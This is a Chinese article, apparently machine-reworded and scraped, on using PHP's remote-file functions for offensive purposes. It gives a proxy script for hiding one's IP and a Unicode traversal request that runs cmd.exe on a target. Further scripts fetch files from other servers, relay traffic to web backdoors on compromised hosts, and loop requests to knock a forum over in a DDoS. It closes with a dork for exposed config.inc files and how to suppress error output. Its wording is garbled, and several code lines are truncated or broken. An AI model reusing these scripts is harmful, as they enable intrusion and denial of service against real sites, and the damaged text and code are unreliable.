PHP在安全方面的特殊使用脚本之家sohu - 亚美娱乐

PHP在安全方面的特殊使用脚本之家sohu

2019-02-01 08:17:17 | 作者: 元菱 | 标签: 文件,代码,运用 | 浏览: 5900

  1.长途文件

  PHP是一门具有丰厚特性的言语,它供给了很多函数,使程序员能够方便地完成各种功用,长途文件就是一个很好的比方:

  代码

  

  $fp=@Fopen($url,"r") or die ("cannot open $url");

  while($line=@fgets($fp,1024)) {

  $contents.=$line;

  }

  echo $contents; //显现文件内容

  fclose($fp); //封闭文件

  ?>

  以上是一段运用Fopen函数翻开文件的代码,由于Fopen函数支撑长途文件,使得它运用起来适当风趣,将以上代码保存为Proxy.php,然后后提交:

  代码

  /proxy.php?url=https://www.hacker.com.cn/bbs

  这时分你会发现论坛下方显现的IP地址变成了PHP脚本所在效劳器的IP地址。Fopen函数能够从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对长途文件都是通明的,比方恳求:

  代码

  /proxy.php?url=https://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  这样实际上是运用了Target主机上的Unicode缝隙,执行了DIR指令。但并不是一切的效劳器都支撑长途文件的功用,假如你运用的是商业的效劳器,很或许会发现长途文件运用不了(如51的虚拟主机),这是由于在商业主机上约束长途文件的功用,往往能够更好的维护效劳器的正常运转。你能够经过PHPinfo()查看效劳器是否支撑这种功用。当然,在PHPinfo()被禁用的情况下,也能够运用Get_cfg_var():

  代码

  

  echo "是否答应运用长途文件(allow_url_Fopen)";

  ?php

  if (get_cfg_var("allow_url_Fopen")"1")

  {

  echo("是");

  }

  else echo("否");

  ?>

  当Allow_url_Fopen一项参数为ON时,即支撑长途文件的功用。充分发挥长途文件的特性,咱们能够完成许多特别的功用:假如你是用过PHP Flame的最新版别,你会发现它在集文件夹仿制、文本查找等功用的基础上,又增加了Web间文件传输的功用,依托这种功用,你能够随意将其他效劳器上的文件传送到你的Web目录下。并且,在两台效劳器间传送文件有着飞快的传输速度。咱们看看完成这个功用的代码:

  代码

  

  $fp = Fopen($_GET[filename], rb); //翻开文件

  $data = $tmp = ;

  while ( true ) {

  $tmp = fgets($fp, 1024);

  if ( 0 = strlen($tmp) ) {

  break; //跳出while循环

  }

  $data .= $tmp;

  }

  fclose($fp); //封闭文件

  $file=preg_replace("/^.+//","",$filename);//转化文件名

  //write

  $fp = Fopen("$file", wb); //生成文件

  fwrite($fp, $data); //写入数据

  fclose($fp);

  ?>

  在调用Fopen和Fwrite函数时参加"b"符号,能够使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

  /down.php?filename=https://www.chinaz.com/winrar.zip

  这时便会在Down.php的所在目录下生成相应的Winrar.zip文件。假如再合作遍历目录的功用,你将能够完成多个文件夹效劳器间的传输。可是,长途文件应该还有更大的发挥空间,比方写SQL Injection进犯的主动脚本,乃至是HTTP的署理效劳:

  代码

  

  $url = getenv("QUERY_STRING");

  if(!ereg("^http",$url)) //查看输入的URL格局

  {

  echo "比方:
https://www.163.com/
";

  echo "https://www.xxxx.com/list.php?id=600
";

  echo "当URL为目录时需求在目录后参加"/"";

  exit;

  }

  if($url)

  $url=str_replace("\","/",$url);

  $f=@Fopen($url,"r"); //翻开文件

  $a="";

  if($f)

  {

  while(!feof($f))

  $a.=@fread($f,8000); //读取文件

  fclose($f);

  }

  $rooturl = preg_replace("/(.+/)(.*)/i","\1",$url); //转化根目录

  $a = preg_replace("/(src[[:space:]]*=["])([^h].*?)/is","\1$rooturl\2",$a);

  $a = preg_replace("/(src[[:space:]]*=)([^h"].*?)/is","\1$rooturl\2",$a); //转化图片地址

  $a = preg_replace("/(action[[:space:]]*=["])([^h].*?)/is","\1$php_self?$rooturl\2",$a);

  $a = preg_replace("/(action[[:space:]]*=)([^h"].*?)/is","\1$php_self?$rooturl\2",$a); //转化POST地址

  $a = preg_replace("/(

  $a = preg_replace("/(

  $a = preg_replace("/(link.+?href[[:space:]]*=[^"])(.*?)/is","\1$rooturl\2",$a);

  $a = preg_replace("/(link.+?href[[:space:]]*=["])(.*?)/is","\1$rooturl\2",$a); //转化样式表地址

  echo $a;

  exit;

  ?>

  在正则表达式的协助下,以上代码能够自行地将回来页面中包含的链接和图片进行转化,并把页面内的链接主动提交到当时PHP脚本的$url中。例如提交:

  /proxy.php?https://www.xfocus.net/

  脚本将会回来https://www.xfocus.net/的内容,如图1所示。

  图1

  当然,这运用的绝对不只是是结构的技巧。运用这个脚本你能够长途操作安顿在其他效劳器的Web后门,或许将肉鸡做成一个简略的HTTP署理,然后更好的躲藏自己的IP。假如运用PHP编写CGI扫描东西,你需求延伸PHP的有用运转时刻。以下是两种有用的办法,当然你也能够将PHP代码编译成GUI界面,然后处理这个问题。设置PHP的有用运转时刻为三分钟:

  代码

  

  

  咱们再看看这种功用在DDOS进犯中的运用:

  代码

  

  set_time_limit(60*3);

  $url="https://www.xxx.com/bbs/userlist.php?userid=";

  for($i=1131;$i<=1180;$i++)

  {

  $urls=$url.$i; //将$url与$i链接在一起

  $f=@Fopen($urls,"r"); //恳求$urls

  $a=@fread($f,10); //取出部分内容

  fclose($f); //封闭$urls

  }

  ?>

  以上用For循环不断地恳求Userlist.php?userid=$i的内容($i的值每次都是不同的),可是翻开后只是取出几个字节便封闭这个脚本了。PHP运转在虚拟主机上,10秒钟便能够翻开几十个URL,当一起运转多个进程时,便有或许完成DDOS进犯,让对方的论坛敏捷溃散。

  限于版面,长途文件的内容就先提到这儿了,假如你还有不明白的当地,请参阅以下的这篇文章:《在PHP中运用长途文件》

  2.过错回显

  PHP在默许的情况下翻开过错回显,这样能够便于程序员在调试脚本时发现代码的过错,可是这也往往使Web暴露了PHP的代码和效劳器的一些数据。PHP对代码的标准性要求比较严厉,以下是一种比较常见的过错回显:

  warning:file("data/1120.htm)-no such file or

  directory in /usr/home/xxxxx.com/show.php on line 300

  这种过错回显,至少通知了咱们三个信息:效劳器的操作系统是LINUX;效劳器运用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。

  这种过错回显,现已足以成为一台效劳器丧命的缝隙。从另一个运用的视点来看,咱们发现一般的PHP过错回都包含了"warning"字符,可是这有什么用呢?咱们得先认识一下PHP的库文件。

  PHP的Include()和Require()首要是为了支撑代码库,由于咱们一般是把一些常常运用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需求运用其间的函数时,咱们只要把这个代码库包含到当时的文件中就能够了。

  开始,人们开发和发布PHP程序的时分,为了差异代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,可是他们很快发现这是一个过错,由于这样的文件无法被PHP解说器正确解析为PHP代码。假如咱们直接恳求效劳器上的这种文件时,咱们就会得到该文件的源代码,这是由于当把PHP作为Apache的模块运用时,PHP解说器是依据文件的扩展名来决议是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。假如重要的装备数据被包含在没有适宜的扩展名的PHP文件中,那么长途进犯者将简单得到这些信息。

  依照以往的程序员的习气,往往会把一些重要的文件设定"config.inc","coon.inc"等方式,假如咱们在查找引撃中查找"warning+config.inc",那么你会发现许多网站都暴露了".inc"文件的代码,乃至包含许多商业和政府网站,如图2所示。

  图2

  要封闭PHP的过错回显一般有两个办法,第一个是直接修正Php.ini中的设置,这咱们曾经现已介绍过了;第二种办法是在PHP脚本中参加按捺过错回显的代码,你能够在调用的函数前函数参加"@"字符,或许在PHP的代码顶端参加"error_reporting(0);"的代码,要了解更多的内容请参阅PHP手册中的"error_reporting"一节。

 

 

(本文由责任编辑 pasu 收拾发布)

 

 

版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表亚美娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章